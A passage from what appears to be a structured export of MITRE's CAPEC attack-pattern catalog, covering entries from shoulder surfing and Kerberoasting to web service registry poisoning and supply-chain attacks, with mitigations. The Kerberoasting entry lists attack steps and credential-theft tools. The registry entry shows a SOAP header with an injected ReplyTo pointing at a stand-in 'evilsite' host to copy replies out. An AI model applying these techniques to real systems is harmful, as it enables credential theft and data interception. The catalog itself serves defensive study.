mitigate this type of attack, physical security techniques such as locks doors, alarms, and monitoring of targets should be implemented.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory28227 + Content_History_28227 + + + + + + + + + + + + + + + + #indSubmissionSubmission28228 + Submission_28228 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-508 + Shoulder Surfing + + + + + + + + + 508 + + + + + Shoulder Surfing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28240 + Related_Attack_Pattern_28240 + + + + + + + + + + + + + + 651 + + + + + 512 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28244 + Related_Attack_Pattern_28244 + + + + + + + + + + + + + + 560 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary typically requires physical proximity to the target's environment, in order to observe their screen or conversation. This may not be the case if the adversary is able to record the target and obtain sensitive information upon review of the recording.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28250 + Skill_28250 + + + + + + + + + + + + + + In most cases, an adversary can simply observe and retain the desired information. + + + + + + + + + + + + #indConsequenceConsequence28253 + Consequence_28253 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be mindful of your surroundings when discussing or viewing sensitive information in public areas.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pertaining to insider threats, ensure that sensitive information is not displayed to nor discussed around individuals without need-to-know access to said information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can capture a target's banking credentials and transfer money to adversary-controlled accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary observes the target's mobile device lock screen pattern/passcode and then steals the device, which can now be unlocked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An insider could obtain database credentials for an application and sell the credentials on the black market.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An insider overhears a conversation pertaining to classified information, which could then be posted on an anonymous online forum.</xhtml:div> + + + + + 200 + + + + + 359 + + + + + + + + + + + + #indContentHistoryContentHistory28273 + Content_History_28273 + + + + + + + + + + + + + + + + #indSubmissionSubmission28274 + Submission_28274 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #CAPEC-509 + Kerberoasting + + + + + + + + + 509 + + + + + Kerberoasting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28285 + Related_Attack_Pattern_28285 + + + + + + + + + + + + + + 652 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28286 + Related_Attack_Pattern_28286 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indAttackStepAttackStep28289 + Attack_Step_28289 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan for user accounts with set SPN values</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">These can be found via Powershell or LDAP queries, as well as enumerating startup name accounts and other means.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28295 + Attack_Step_28295 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Request service tickets</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using user account's SPN value, request other service tickets from Active Directory</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28301 + Attack_Step_28301 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Extract ticket and save to disk</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Certain tools like Mimikatz can extract local tickets and save them to memory/disk.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28307 + Attack_Step_28307 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Crack the encrypted ticket to harvest plain text credentials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage a brute force application/script on the hashed value offline until cracked. The shorter the password, the easier it is to crack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires access as an authenticated user on the system. This attack pattern relates to elevating privileges.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires use of a third-party credential harvesting tool (e.g., Mimikatz).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires a brute force tool.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28320 + Skill_28320 + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence28323 + Consequence_28323 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust password policy for service accounts. Passwords should be of adequate length and complexity, and they should expire after a period of time.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ the principle of least privilege: limit service accounts privileges to what is required for functionality and no more.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]</xhtml:div> + + + + + 522 + + + + + 308 + + + + + 309 + + + + + 294 + + + + + 263 + + + + + 262 + + + + + 521 + + + + + + + + + + + + #indTaxonomyMappingStealOrForgeKerberosTicketsKerberoasting + Steal or Forge Kerberos Tickets:Kerberoasting + + + + + + + + + + + + + + 1558.003 + + + + + Steal or Forge Kerberos Tickets:Kerberoasting + + + + + + + + + + + + #indReferenceReference28353 + Reference_28353 + + + + + + + + + REF-559 + + + + + + + + + + + + #indReferenceReference28354 + Reference_28354 + + + + + + + + + REF-585 + + + + + + + + + + + + #indReferenceReference28355 + Reference_28355 + + + + + + + + + REF-586 + + + + + + + + + + + + #indContentHistoryContentHistory28357 + Content_History_28357 + + + + + + + + + + + + + + + + #indSubmissionSubmission28358 + Submission_28358 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + + + + + + + + #indModificationModification28363 + Modification_28363 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Status, Example_Instances, References, Related_Attack_Patterns, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification28369 + Modification_28369 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-51 + Poison Web Service Registry + + + + + + + + + 51 + + + + + Poison Web Service Registry + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;WS-Addressing is used to virtualize services, provide return addresses and other routing information, however, unless the WS-Addressing headers are protected they are vulnerable to rewriting. Content in a registry is deployed by the service provider. The registry in an SOA or Web Services system can be accessed by the service requester via UDDI or other protocol.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28386 + Related_Attack_Pattern_28386 + + + + + + + + + + + + + + 203 + + + + + + + + + + + + #indAttackStepAttackStep28389 + Attack_Step_28389 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find a target SOA or Web Service] The adversary must first indentify a target SOA or Web Service.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28394 + Attack_Step_28394 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine desired outcome] Because poisoning a web service registry can have different outcomes, the adversary must decide how they wish to effect the webservice.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can perform a denial of service attack on a web service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can redirect requests or responses to a malicious service.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28401 + Attack_Step_28401 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine if a malicious service needs to be created] If the adversary wishes to redirect requests or responses, they will need to create a malicious service to redirect to.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a service to that requests are sent to in addition to the legitimate service and simply record the requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a service that will give malicious responses to a service provider.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Act as a malicious service provider and respond to requests in an arbitrary way.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep28409 + Attack_Step_28409 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Poison Web Service Registry] Based on the desired outcome, poison the web service registry. This is done by altering the data at rest in the registry or uploading malicious content by spoofing a service provider.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Intercept and change WS-Adressing headers to route to a malicious service or service provider.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Provide incorrect information in schema or metadata to cause a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Delete information about service procider interfaces to cause a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to write to resources or redirect access to the service registry.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28422 + Skill_28422 + + + + + + + + + + + + + + To identify and execute against an over-privileged system interface + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Capability to directly or indirectly modify registry resources</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence28428 + Consequence_28428 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence28435 + Consequence_28435 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence28439 + Consequence_28439 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Harden registry server and file access permissions</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Implement communications to and from the registry using secure protocols</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;WS-Addressing provides location and metadata about the service endpoints. An extremely hard to detect attack is an attacker who updates the WS-Addressing header, leaves the standard service request and service provider addressing and header information intact, but adds an additional WS-Addressing Replyto header. In this case the attacker is able to send a copy (like a cc in mail) of every result the service provider generates. So every query to the bank account service, would generate a reply message of the transaction status to both the authorized service requester and an attacker service. This would be extremely hard to detect at runtime.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;S:Header&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;wsa:MessageID&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;http://example.com/Message&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/wsa:MessageID&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;wsa:ReplyTo&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;wsa:Address&amp;gt;http://valid.example/validClient&amp;lt;/wsa:Address&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/wsa:ReplyTo&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;wsa:ReplyTo&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;wsa:Address&amp;gt;http://evilsite/evilClient&amp;lt;/wsa:Address&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/wsa:ReplyTo&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;wsa:FaultTo&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;wsa:Address&amp;gt;http://validfaults.example/ErrorHandler&amp;lt;/wsa:Address&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/wsa:FaultTo&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/S:Header&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this example "evilsite" is an additional reply to address with full access to all the messages that the authorized (validClient) has access to. Since this is registered with ReplyTo header it will not generate a Soap fault.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 285 + + + + + 74 + + + + + 693 + + + + + + + + + + + + #indContentHistoryContentHistory28466 + Content_History_28466 + + + + + + + + + + + + + + + + #indSubmissionSubmission28467 + Submission_28467 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28472 + Modification_28472 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #indModificationModification28478 + Modification_28478 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification28484 + Modification_28484 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-510 + SaaS User Request Forgery + + + + + + + + + 510 + + + + + SaaS User Request Forgery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28497 + Related_Attack_Pattern_28497 + + + + + + + + + + + + + + 21 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must be able install a purpose built malicious application onto the trusted user's system and convince the user to execute it while authenticated to the SaaS application.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28503 + Skill_28503 + + + + + + + + + + + + + + This attack pattern often requires the technical ability to modify a malicious software package (e.g. Zeus) to spider a targeted site and a way to trick a user into a malicious software download. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To limit one's exposure to this type of attack, tunnel communications through a secure proxy service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Detection of this type of attack can be done through heuristic analysis of behavioral anomalies (a la credit card fraud detection) which can be used to identify inhuman behavioral patterns. (e.g., spidering)</xhtml:div> + + + + + 346 + + + + + + + + + + + + #indReferenceReference28513 + Reference_28513 + + + + + + + + + REF-438 + + + + + + + + + + + + #indNoteNote28516 + Note_28516 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SaaS/Cloud applications are often accessed from unmanaged systems and devices, over untrusted networks that are outside corporate IT control. The likelihood of a cloud service being accessed by a trusted user though an untrusted device is high. Several instances of this style of attack have been found.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory28518 + Content_History_28518 + + + + + + + + + + + + + + + + #indSubmissionSubmission28519 + Submission_28519 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-511 + Infiltration of Software Development Environment + + + + + + + + + 511 + + + + + Infiltration of Software Development Environment + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses common delivery mechanisms such as email attachments or removable media to infiltrate the IDE (Integrated Development Environment) of a victim manufacturer with the intent of implanting malware allowing for attack control of the victim IDE environment. The attack then uses this access to exfiltrate sensitive data or information, manipulate said data or information, and conceal these actions. This will allow and aid the attack to meet the goal of future compromise of a recipient of the victim's manufactured product further down in the supply chain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28533 + Related_Attack_Pattern_28533 + + + + + + + + + + + + + + 444 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must use email or removable media from systems running the IDE (or systems adjacent to the IDE systems).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim must have a system running exploitable applications and/or a vulnerable configuration to allow for initial infiltration.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have working knowledge of some if not all of the components involved in the IDE system as well as the infrastructure.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28544 + Skill_28544 + + + + + + + + + + + + + + Intelligence about the manufacturer's operating environment and infrastructure. + + + + + + + + + + + + #indSkillSkill28545 + Skill_28545 + + + + + + + + + + + + + + Ability to develop, deploy, and maintain a stealth malicious backdoor program remotely in what is essentially a hostile environment. + + + + + + + + + + + + #indSkillSkill28546 + Skill_28546 + + + + + + + + + + + + + + Development skills to construct malicious attachments that can be used to exploit vulnerabilities in typical desktop applications or system configurations. The malicious attachments should be crafted well enough to bypass typical defensive systems (IDS, anti-virus, etc) + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid the common delivery mechanisms of adversaries, such as email attachments, which could introduce the malware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker, knowing the victim runs email on a system adjacent to the IDE system, sends a phishing email with a malicious attachment to the victim. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent IDE system from the victim's workstation. The attacker is then able to exfiltrate sensitive data about the software being developed on the IDE system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using rogue versions of Xcode (Apple's app development tool) downloaded from third-party websites, it was possible for the adversary to insert malicious code into legitimate apps during the development process.</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indReferenceReference28562 + Reference_28562 + + + + + + + + + REF-439 + + + + + + + + + + + + #indContentHistoryContentHistory28564 + Content_History_28564 + + + + + + + + + + + + + + + + #indSubmissionSubmission28565 + Submission_28565 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28570 + Modification_28570 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification28576 + Modification_28576 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28582 + Modification_28582 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28588 + Modification_28588 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Mitigations + + + + + + + + + + + + #indModificationModification28594 + Modification_28594 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-516 + Hardware Component Substitution During Baselining + + + + + + + + + 516 + + + + + Hardware Component Substitution During Baselining + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary with access to system components during allocated baseline development can substitute a maliciously altered hardware component for a baseline component during the product development and research phases. This can lead to adjustments and calibrations being made in the product so that when the final product, now containing the modified component, is deployed it will not perform as designed and be advantageous to the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28609 + Related_Attack_Pattern_28609 + + + + + + + + + + + + + + 444 + + + + + 513 + + + + + 688 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary will need either physical access or be able to supply malicious hardware components to the product development facility.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28618 + Skill_28618 + + + + + + + + + + + + + + Intelligence data on victim's purchasing habits. + + + + + + + + + + + + #indSkillSkill28619 + Skill_28619 + + + + + + + + + + + + + + Resources to maliciously construct/alter hardware components used for testing by the supplier. + + + + + + + + + + + + #indSkillSkill28620 + Skill_28620 + + + + + + + + + + + + + + Resources to physically infiltrate supplier. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hardware attacks are often difficult to detect, as inserted components can be difficult to identify or remain dormant for an extended period of time.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Acquire hardware and hardware components from trusted vendors. Additionally, determine where vendors purchase components or if any components are created/acquired via subcontractors to determine where supply chain risks may exist.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary supplies the product development facility of a network security device with a hardware component that is used to simulate large volumes of network traffic. The device claims in logs, stats, and via the display panel to be pumping out very large quantities of network traffic, when it is in fact putting out very low volumes. The developed product is adjusted and configured to handle what it believes to be a heavy network load, but when deployed at the victim site the large volumes of network traffic are dropped instead of being processed by the network security device. This allows the adversary an advantage when attacking the victim in that the adversary's presence may not be detected by the device.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseHardwareSupplyChain + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + + + 1195.003 + + + + + Supply Chain Compromise: Compromise Hardware Supply Chain + + + + + + + + + + + + #indReferenceReference28638 + Reference_28638 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference28639 + Reference_28639 + + + + + + + + + REF-712 + + + + + + + + + + + + #indContentHistoryContentHistory28641 + Content_History_28641 + + + + + + + + + + + + + + + + #indSubmissionSubmission28642 + Submission_28642 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification28647 + Modification_28647 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Examples-Instances, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification28653 + Modification_28653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28659 + Modification_28659 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification28665 + Modification_28665 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Mitigations, Prerequisites, References + + + + + + + + + + + + #indModificationModification28671 + Modification_28671 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-517 + Documentation Alteration to Circumvent Dial-down + + + + + + + + + 517 + + + + + Documentation Alteration to Circumvent Dial-down + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker with access to a manufacturer's documentation, which include descriptions of advanced technology and/or specific components' criticality, alters the documents to circumvent dial-down functionality requirements. This alteration would change the interpretation of implementation and manufacturing techniques, allowing for advanced technologies to remain in place even though these technologies might be restricted to certain customers, such as nations on the terrorist watch list, giving the attacker on the receiving end of a shipped product access to an advanced technology that might otherwise be restricted.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern28686 + Related_Attack_Pattern_28686 + + + + + + + + + + + + + + 447 + + + + + 513 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge of internal software and hardware components within manufacturer's development environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the manufacturer's documentation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill28696 + Skill_28696 + + + + + + + + + + + + + + Ability to read, interpret, and subsequently alter manufacturer's documentation to prevent dial-down capabilities. + + + + + + + + + + + + #indSkillSkill28697 + Skill_28697 + + + + + + + + + + + + + + Ability to stealthly gain access via remote compromise or physical access to the manufacturer's documentation. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Digitize documents and cryptographically sign them to verify authenticity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Password protect documents and make them read-only for unauthorized users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Avoid emailing important documents and configurations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure deleted files are actually deleted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Maintain backups of the document for recovery and verification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A product for manufacture exists that contains advanced cryptographic capabilities, including algorithms that are restricted from being shipped to some nations. An attacker from one of the restricted nations alters the documentation to ensure that when the product is manufactured for shipment to a restricted nation, the software compilation steps that normally would prevent the advanced cryptographic capabilities from being included are actually included. When the product is shipped to the attacker's home country, the attacker is able to retrieve and/or use the advanced cryptographic capabilities.</xhtml:div> + + + + + + + + + + + + #indReferenceReference28710 + Reference_28710 + + + + + + + + + REF-439 + + + + + + + + + + + + #indReferenceReference28711 + Reference_28711 + + + + + + + + + REF-715 + + + + + + + + + + + + 